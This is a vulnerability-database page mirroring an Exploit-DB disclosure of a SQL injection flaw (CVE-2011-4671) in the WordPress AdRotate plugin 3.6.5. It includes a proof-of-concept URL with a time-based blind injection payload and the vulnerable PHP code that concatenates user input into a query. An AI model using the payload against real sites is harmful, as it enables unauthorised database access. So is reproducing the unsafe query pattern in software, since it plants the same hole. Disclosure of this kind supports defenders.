Lucene search
+L

WordPress Plugin AdRotate 3.6.5 - SQL Injection

🗓️ 24 Sep 2011 00:00:00Reported by Miroslav StamparType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

WordPress AdRotate plugin 3.6.5 SQL Injection Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-4671
24 Sep 201100:00
circl
CVE
CVE-2011-4671
2 Dec 201118:00
cve
Cvelist
CVE-2011-4671
2 Dec 201118:00
cvelist
Exploit DB
WordPress Plugin AdRotate 3.6.6 - SQL Injection
14 Nov 201100:00
exploitdb
EUVD
EUVD-2011-4589
7 Oct 202500:30
euvd
NVD
CVE-2011-4671
2 Dec 201118:55
nvd
Patchstack
WordPress AdRotate Plugin <= 3.6.5 - SQL Injection
24 Sep 201100:00
patchstack
Prion
Sql injection
2 Dec 201118:55
prion
WPVulnDB
AdRotate <= 3.6.5 - SQL Injection
1 Aug 201410:58
wpvulndb
WPVulnDB
AdRotate <= 3.6.6 - SQL Injection
1 Aug 201410:58
wpvulndb
Rows per page
# Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip
# Version: 3.6.5 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
---------------
if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = urldecode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;");

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Sep 2011 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.02902
40